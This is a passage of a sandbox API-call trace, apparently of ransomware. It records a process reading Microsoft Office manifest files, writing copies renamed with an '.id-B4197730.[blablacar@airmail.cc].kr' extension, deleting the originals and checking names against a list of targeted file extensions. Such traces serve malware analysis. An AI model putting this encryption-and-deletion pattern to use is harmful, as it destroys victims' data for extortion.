(hObject=0x388) returned 1 [0101.718] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml")) returned 0x220 [0101.718] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0101.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0101.718] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0101.718] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0101.719] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0101.719] GetLastError () returned 0x0 [0101.719] ReadFile (in: hFile=0x388, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x2400, lpOverlapped=0x0) returned 1 [0102.764] WriteFile (in: hFile=0x370, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0x2410, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0x2410, lpOverlapped=0x0) returned 1 [0102.765] ReadFile (in: hFile=0x388, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x0, lpOverlapped=0x0) returned 1 [0102.765] WriteFile (in: hFile=0x370, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0x13e, lpOverlapped=0x0) returned 1 [0102.765] SetEndOfFile (hFile=0x370) returned 1 [0102.765] CloseHandle (hObject=0x370) returned 1 [0102.766] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0102.766] SetEndOfFile (hFile=0x388) returned 1 [0102.767] CloseHandle (hObject=0x388) returned 1 [0102.767] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0102.768] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml")) returned 1 [0102.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0102.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0102.768] lstrlenW (lpString=".doc") returned 4 [0102.768] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0102.768] lstrlenW (lpString=".docx") returned 5 [0102.768] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0102.768] lstrlenW (lpString=".pdf") returned 4 [0102.768] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0102.768] lstrlenW (lpString=".xls") returned 4 [0102.768] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0102.768] lstrlenW (lpString=".xlsx") returned 5 [0102.768] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0102.768] lstrlenW (lpString=".ppt") returned 4 [0102.768] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0102.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0102.768] lstrlenW (lpString=".zip") returned 4 [0102.768] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0102.768] lstrlenW (lpString=".rar") returned 4 [0102.768] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0102.768] lstrlenW (lpString=".bz2") returned 4 [0102.768] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0102.768] lstrlenW (lpString=".7z") returned 3 [0102.769] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0102.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0102.769] lstrlenW (lpString=".dbf") returned 4 [0102.769] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0102.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0102.769] lstrlenW (lpString=".1cd") returned 4 [0102.769] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0102.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0102.769] lstrlenW (lpString=".jpg") returned 4 [0102.769] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0102.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0102.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0102.769] lstrlenW (lpString=".doc") returned 4 [0102.769] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0102.769] lstrlenW (lpString=".docx") returned 5 [0102.769] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0102.769] lstrlenW (lpString=".pdf") returned 4 [0102.769] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0102.769] lstrlenW (lpString=".xls") returned 4 [0102.769] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0102.769] lstrlenW (lpString=".xlsx") returned 5 [0102.769] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0102.769] lstrlenW (lpString=".ppt") returned 4 [0102.769] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0102.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0102.769] lstrlenW (lpString=".zip") returned 4 [0102.769] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0102.769] lstrlenW (lpString=".rar") returned 4 [0102.769] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0102.769] lstrlenW (lpString=".bz2") returned 4 [0102.769] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0102.770] lstrlenW (lpString=".7z") returned 3 [0102.770] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0102.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0102.770] lstrlenW (lpString=".dbf") returned 4 [0102.770] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0102.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0102.770] lstrlenW (lpString=".1cd") returned 4 [0102.770] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0102.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0102.770] lstrlenW (lpString=".jpg") returned 4 [0102.770] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0102.770] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0102.770] lstrlenW (lpString="AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 53 [0102.770] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0102.770] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=1261) returned 1 [0102.771] CloseHandle (hObject=0x388) returned 1 [0102.771] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml")) returned 0x220 [0102.771] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0102.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0102.771] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0102.771] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0102.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0102.771] GetLastError () returned 0x0 [0102.771] ReadFile (in: hFile=0x388, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x4ed, lpOverlapped=0x0) returned 1 [0102.773] WriteFile (in: hFile=0x370, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0x4f0, lpOverlapped=0x0) returned 1 [0102.774] ReadFile (in: hFile=0x388, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x0, lpOverlapped=0x0) returned 1 [0102.774] WriteFile (in: hFile=0x370, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0x13e, lpOverlapped=0x0) returned 1 [0102.774] SetEndOfFile (hFile=0x370) returned 1 [0102.774] CloseHandle (hObject=0x370) returned 1 [0102.775] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0102.775] SetEndOfFile (hFile=0x388) returned 1 [0102.776] CloseHandle (hObject=0x388) returned 1 [0102.776] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0102.776] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml")) returned 1 [0102.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0102.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0102.777] lstrlenW (lpString=".doc") returned 4 [0102.777] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0102.777] lstrlenW (lpString=".docx") returned 5 [0102.777] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0102.777] lstrlenW (lpString=".pdf") returned 4 [0102.777] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0102.777] lstrlenW (lpString=".xls") returned 4 [0102.777] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0102.777] lstrlenW (lpString=".xlsx") returned 5 [0102.777] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0102.777] lstrlenW (lpString=".ppt") returned 4 [0102.777] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0102.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0102.777] lstrlenW (lpString=".zip") returned 4 [0102.777] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0102.777] lstrlenW (lpString=".rar") returned 4 [0102.777] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0102.777] lstrlenW (lpString=".bz2") returned 4 [0102.777] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0102.777] lstrlenW (lpString=".7z") returned 3 [0102.777] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0102.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0102.777] lstrlenW (lpString=".dbf") returned 4 [0102.777] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0102.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0102.777] lstrlenW (lpString=".1cd") returned 4 [0102.777] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0102.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0102.777] lstrlenW (lpString=".jpg") returned 4 [0102.777] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0102.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0102.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0102.778] lstrlenW (lpString=".doc") returned 4 [0102.778] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0102.778] lstrlenW (lpString=".docx") returned 5 [0102.778] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0102.778] lstrlenW (lpString=".pdf") returned 4 [0102.778] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0102.778] lstrlenW (lpString=".xls") returned 4 [0102.778] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0102.778] lstrlenW (lpString=".xlsx") returned 5 [0102.778] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0102.778] lstrlenW (lpString=".ppt") returned 4 [0102.778] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0102.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0102.778] lstrlenW (lpString=".zip") returned 4 [0102.778] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0102.778] lstrlenW (lpString=".rar") returned 4 [0102.778] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0102.778] lstrlenW (lpString=".bz2") returned 4 [0102.778] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0102.778] lstrlenW (lpString=".7z") returned 3 [0102.778] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0102.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0102.778] lstrlenW (lpString=".dbf") returned 4 [0102.778] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0102.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0102.778] lstrlenW (lpString=".1cd") returned 4 [0102.778] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0102.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0102.778] lstrlenW (lpString=".jpg") returned 4 [0102.779] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0102.779] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0102.779] lstrlenW (lpString="AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 53 [0102.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0102.779] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=527958) returned 1 [0102.779] CloseHandle (hObject=0x388) returned 1 [0102.779] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml")) returned 0x220 [0102.779] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0102.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0102.780] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0102.780] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0102.780] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0102.780] GetLastError () returned 0x0 [0102.780] ReadFile (in: hFile=0x388, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x80e56, lpOverlapped=0x0) returned 1 [0102.795] WriteFile (in: hFile=0x370, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0x80e60, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0x80e60, lpOverlapped=0x0) returned 1 [0103.270] ReadFile (in: hFile=0x388, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x0, lpOverlapped=0x0) returned 1 [0103.270] WriteFile (in: hFile=0x370, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0x13e, lpOverlapped=0x0) returned 1 [0103.270] SetEndOfFile (hFile=0x370) returned 1 [0103.270] CloseHandle (hObject=0x370) returned 1 [0103.286] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0103.286] SetEndOfFile (hFile=0x388) returned 1 [0103.293] CloseHandle (hObject=0x388) returned 1 [0103.293] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0103.293] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml")) returned 1 [0103.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0103.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0103.294] lstrlenW (lpString=".doc") returned 4 [0103.294] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0103.294] lstrlenW (lpString=".docx") returned 5 [0103.294] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0103.294] lstrlenW (lpString=".pdf") returned 4 [0103.294] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0103.294] lstrlenW (lpString=".xls") returned 4 [0103.294] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0103.294] lstrlenW (lpString=".xlsx") returned 5 [0103.294] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0103.294] lstrlenW (lpString=".ppt") returned 4 [0103.294] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0103.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0103.294] lstrlenW (lpString=".zip") returned 4 [0103.294] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0103.294] lstrlenW (lpString=".rar") returned 4 [0103.294] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0103.294] lstrlenW (lpString=".bz2") returned 4 [0103.294] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0103.294] lstrlenW (lpString=".7z") returned 3 [0103.295] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0103.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0103.295] lstrlenW (lpString=".dbf") returned 4 [0103.295] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0103.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0103.295] lstrlenW (lpString=".1cd") returned 4 [0103.295] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0103.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0103.295] lstrlenW (lpString=".jpg") returned 4 [0103.295] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0103.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0103.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0103.295] lstrlenW (lpString=".doc") returned 4 [0103.295] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0103.295] lstrlenW (lpString=".docx") returned 5 [0103.295] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0103.295] lstrlenW (lpString=".pdf") returned 4 [0103.295] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0103.295] lstrlenW (lpString=".xls") returned 4 [0103.295] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0103.295] lstrlenW (lpString=".xlsx") returned 5 [0103.295] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0103.295] lstrlenW (lpString=".ppt") returned 4 [0103.295] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0103.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0103.296] lstrlenW (lpString=".zip") returned 4 [0103.296] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0103.296] lstrlenW (lpString=".rar") returned 4 [0103.296] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0103.296] lstrlenW (lpString=".bz2") returned 4 [0103.296] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0103.296] lstrlenW (lpString=".7z") returned 3 [0103.296] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0103.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0103.296] lstrlenW (lpString=".dbf") returned 4 [0103.296] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0103.296] lstrlenW 